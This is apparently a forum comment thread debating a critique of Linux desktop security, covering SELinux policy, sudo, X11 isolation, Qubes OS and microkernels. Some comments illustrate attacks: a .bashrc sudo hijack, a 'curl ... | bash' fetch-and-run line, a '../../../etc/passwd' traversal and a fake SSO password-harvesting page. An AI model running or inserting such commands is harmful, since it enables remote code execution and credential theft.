Linux (In)Security
madaidans-insecurities.github.io
madaidans-insecurities.github.io
A lot of the goals of the project seem to line up well with dealing with issues noted in the post.
A huge endeavour of course - to build an OS from the ground up. I hope they get there.
ref: https://doc.redox-os.org/book/ch01-03-our-goals.html?highlig...
"Redox is an attempt to make a complete, fully-functioning, general-purpose operating system with a focus on safety, freedom, reliability, correctness, and pragmatism.
We want to be able to use it, without obstructions, as an alternative to Linux on our computers. It should be able to run most Linux programs with only minimal modifications.
We're aiming towards a complete, safe Rust ecosystem. This is a design choice, which hopefully improves correctness and security (see Why Rust).
We want to improve the security design when compared to other Unix-like kernels by using safe defaults and disallowing insecure configurations where possible."
Android did a good job integrating SELinux in their ecosystem to provide some sort of sandbox, I wish there were similar project for desktop Linux, but it seems only Redhat cares about SELinux in the OSS world (and they don't seem to have this kind of project in the works).
sudo is Linux's UAC, and I agree that it is insecure, but its use is optional and with good selinux policies, you shouldn't be able to highjack it like in the OP (unfortunately, there are no good, easy-to-use selinux policies)
Linux has too big an attack surface IMO and I wish microkernels like GNU/Hurd or seL4 would become more popular, but, like most things in OSS, there are not enough people interested.
[0] https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Pr...
Redhat's approach is a targeted policy. Users and user applications run in an unconfined domain, while system and services run in a secured domain.
Android uses a similar approach where SELinux provides system level protection (as well as application level isolation). However, the security model most people (even Android app developers) are familiar with is not SELinux. The difference between an app that has permission to use the microphone and one that does not is not SELinux. It is implemented by a userspace security manager.
I am not fammilar with Apparmor, but I do not see how any solution based on the Linux kernel's security module system would be adequate. The type of security needed for a desktop system requires a lot of userspace work.
Well, that's just risky computer usage. I'd think it's a reasonable compromise, if users would copy files into a specific up/download folder for the web browser to access. Such can be enforced with, e.g. firejail. Clearly this is slightly inconvenient, but security has always been at odds with convenience and always will be.
Edit: actually, that file manager could pass an open fd to firefox, I'm not sure how that would work policy-wise
In policy, have something like:
if (mozilla_read_user_home) {
allow mozilla_t user_home_t:file read_file_perms;
}
Then, firefox could execute /usr/bin/request_file_access user_home_t readrequest_file_access could then be spawned in a privileged domain and:
1) Check the domain of the parent process and see that it is mozilla_t
2) Check whatever security policy it wants to implement (possibly by prompting the user)
3) Assuming the access is allowed, set the mozilla_read_user_home variable to true (and set a timer to disable it at some point in the future)
4) firefox then can open the file normally.
Keep in mind that denials actually happen quite frequently on many SELinux systems, and policy is usualy written to not even log the expected ones. Any hook that needs to run on every denial would likely introduce unacceptable performance hits; particuarly if it needs to spawn another process.
Using MCS is interesting here. It still the problem that it involves relabeling files as a matter of course, which is generally frowned upon. From a practical perspective, this type of relabeling would turn into effectivly a lock [0.5] on the file, where no other "confined" domain can access it. The plus side of using catagories is that you can run all of the applications in the same (or one of a pre-determined set) of application domains while keeping them isolated [1]. This has the side benifit of avoid the issue of applications loading new policy as they are being installed. [2]
My instinct for the problem is to, as your edit suggests, leverage file descriptors. From a non-SELinux perspective, I have never passed file descriptors other than parent -> child, but it appears you can do so with unix sockets [3]. From a policy perspective, there are three sets of permissions that are relevent:
1) Permission to read/write to arbitrary user files. Both firefox and the file manager would need these
2) Permission to open arbitrary user files. Only the file manager would need this; firefox should not have it.
3) Permission to use file descriptors opened by the file manager. Firefox would need this.
When I do a policy analysis, I generally assume that having (1) grants full access to the file; however if your security model dependent on it, there is no reason you could not restrict file access by leveraging (2) and (3).
The userspace implementation would be more complicated than the policy. For example, in the case of a local webpage, firefox does not want to open just a single file, but also any resource file that that file requires (and files that it links to and those resource files). So, what would need to happen is:
1) Firefox spawns file-manager
2) User selected *.html file from local file system
3) Firefox reads selected file and creates a list of resource files it needs to read
4) Firefox spawns file manager and requests read access to resource files.
5) ???
6) File manager either grants or denies access to the resource files.
The hard part is step 5, which is implemented entirely in userspace.
[0] I wouldn't go so far as to say it should run in an unconfined domain, since it should be restricted from, for example, network access.
[0.5] Not a very good lock either; SELinux does not handle access revocation very well.
[1] This is the approach Android takes.
[2] SELinux does have a module system; however there is no mechanism to limit what permissions a module can add.
[3] http://man7.org/linux/man-pages/man7/unix.7.html See SCM_RIGHTS
EDIT: Good point about requesting related resources though, not sure how you'd go about that (I'm not even sure you'd actually want that either since you could include '../../../etc/passwd' or something as an <img> tag)
Android works around the 1023 limit by giving each app a set of categories. This works when a file can only ever be owned by 1 app, but becomes more difficult when multiple owners are possible.
E.G. If you want to grant access to the catagory set c1,c10,c20 and c5,c15,c25 then you need to make sure there is nothing running as c1,c15,c20. This is probably doable, but I have not worked out what is does to the effective number of catagories you could have.
> EDIT: Good point about requesting related resources though, not sure how you'd go about that (I'm not even sure you'd actually want that either since you could include '../../../etc/passwd' or something as an <img> tag)
The answer is in step 5. Somehow, the userspace security manager needs to know that firefox is not allowed to use ../../../etc/passwd, but is (maybe?) allowed to use ../index.html.
As I said. SELinux can be an effective component of a secure desktop system. But you need to overlay it with some other security system; and at this point no one has figured out what that security system should look like from a user perspective.
I don't think that Linux is more secure "than any other OS". First, we have a wide variety of Linux desktops. Second, when required, experienced (!) system administrators/business vendors invest a lot of time in order to get their system secure. However, (unexperienced) "home users" are at disadvantage, because of lack of knowledge. They would/will suffer from the perception of an superior security notion of Linux. We have to get that right. That's it.
Let's evaluate this one:
> On ordinary desktops, a compromised non-root user account with access to sudo is almost equal to full root [...SNIP...]
So author here probably means access to sudo where the account has the right to become root. Once someone compromises your account... well, that's it. The rest of the text is just garbage, many things are taken completely out of context. Once an attacker can run under your account she can just for instance append 'sudo /bin/.doevilstuff' to your ~/.bashrc.
Here is an example:
curl -s https://ohblog.org/test.txt | bash
Read the test.txt file first of course.Yeah, I had the same feeling - Windows is way worse in every way. Every vulnerability he points out in Linux is pretty much the same in OS/X. Make things better, of course, but Linux is still your best bet if you're concerned about security.
It is not factual but playing on baseless fears. Like that something is unsafe just because not made with last hype language. Take go for example if anything unexpected happen, this shit trigger an assert that crash everything. Is it safe?
Like the sudo example is ridiculous: the command allows you to execute a restricted command but it is not made to check your current environnement.
It is safe if you know the context you are using. But if you just arrive on the screen of someone else ans it is asking for your password, sure it is unsafe to type your password: maybe you are not even in a Real shell, maybe all are just fake screen. For example, someone can create a rigged fake webbrowser and within tell you to connect to your facebook. Then ssl check marks does not help to ensure the safety. That is an user issue and not a platform issue!
And there's no sandboxing at runtime either, everything has permission to do whatever the user can do.
Once programs are running on the machine with the ability to put things on-screen and read keyboard input, this is a very hard problem without hardware-level SAK-like mechanisms which AFAIK no consumer devices include today.
The updated mnt reform [0] has some potential for this kind of facility with a keyboard-embedded display connected to a standalone EC and a dedicated button on the keyboard for notifying the EC without the host's involvement. This should enable an actual SAK-like mechanism, where the EC takes over the keyboard for security-sensitive actions like password entry:
> The keyboard not only works as a USB HID device, but it also has a direct UART
> cable connection to the system controller on the motherboard. By pressing the
> circle key, you can interact directly with the system controller, bypassing
> the main SoC. To give you visual feedback for this interaction, we added a
> tiny 128 x 32 pixel OLED on top of the keyboard. From here, you can check
> charger and battery cell status/health without any operating system support on
> the main SoC (even while you’re still installing an OS). The keyboard OLED and
> direct interaction mechanism has more potential future uses, like a password
> manager/wallet or notification display.
It's a non-trivial problem even with hardware assistance, without any it seems impossible.Qubes OS can. Though it's not for the average users.
It is a somewhat higher bar though.
The point is moot, as the most destructive attacks are ransomware, which this limits but does not prevent, website ID (login, address, credit card) and data theft, phishing and scams. None of which is prevented by Qubes.
Evil maid attacks are frustrated though if you install its extra security features.
However, it is wise to remember that security is as strong as the weakest link, so do use it if you're an admin or dev.
Qubes OS assumes (promotes and helps with) that you do not open random links inside your banking or important VM. You can even open links automatically in a disposable VM upon a mouse click. It should help here I guess.
> bypass for VM security
VT-d virtualization was broken only once by a software attack. An it was done by the Qubes founder.
Yes there is a (semi) Secure Attention Key but it isn’t required in many cases such as while requesting consent for elevation and you can set it to required but it comes with a warning that that breaks important things (and it does).
> The kernel is also very lacking in security. It is a monolithic kernel written entirely in a memory unsafe language and has hundreds of bugs, many being security vulnerabilities, found each month. In fact, there are so many bugs being found in the kernel, developers can’t keep up which results in many of the bugs staying unfixed for a long time. The kernel is also decades behind in exploit mitigations and many kernel developers simply do not care enough.
Are you part of some community that gets access to Windows/MacOS kernel sources to search for vulnerabilities? Or are you getting reports about such vulnerabilities from Microsoft/Apple?
I think not. I think that you're basing this argument on the amount of stuff you get to see online. Given that Linux Kernel lives under GPL that's expected.
I'm not saying that Linux Kernel is holy and we should all bow and refrain from criticism. But you're judging it completely out of context.
I think you are incorrect, and your comment is not really within the site guidelines.
He has done security work on all that you mention above, and many others.
>Really?
My last sentence answers your question framed as an accusation.
And it is not an appeal to authority, it is an appeal to published, verifiable experience. You can see this for yourself if you explore his comment history, or google for security research he published.
> There is no strong sandboxing in the standard desktop.
I don't know of any strong sandboxing in Windows or Mac OSX, but that could just be my ignorance.
> Most programs are written in memory unsafe languages such as C or C++
This is true on windows and Mac as well (let's include objective-c in there).
> It is a monolithic kernel written entirely in a memory unsafe language
Also true of windows and Mac.
> has hundreds of bugs, many being security vulnerabilities, found each month. In fact, there are so many bugs being found in the kernel, developers can’t keep up which results in many of the bugs staying unfixed for a long time
I don't know enough to comment on this.
> a compromised non-root user account with access to sudo is almost equal to full root compromise
Is this any different on windows or mac? Mac has sudo as well, and on windows, the main user is typically an administrator.
> X’s lack of GUI isolation
well, yeah. I don't know what the situation is like in windows and mac for this. But one of wayland's design goals is to fix this (although it also breaks things like screencasting...)
I believe Windows is hybrid kernel not a monolithic one.
I too sadly realize the dire need to post such disclaimers. Boy, these people are boring sometimes...
I've thought about that vulnerability a lot using enterprise SSO apps: it would be trivial for anybody inside a corporate firewall to set up, say, a ticketing app that presented an SSO sign-in box, recorded whatever was input, but responded to everything as success. An attacker could harvest a LOT of passwords that way before being caught.
0: https://www.grsecurity.net/
1: https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Pr...
The previous complaints was that it was always slower than a monolithic kernel. But with all the multicores, memory, and SSD storage available today, then at some point, the extra processing becomes irrelevant.
Drivers are a huge hole, especially easily accessible ones like video due to 3D APIs.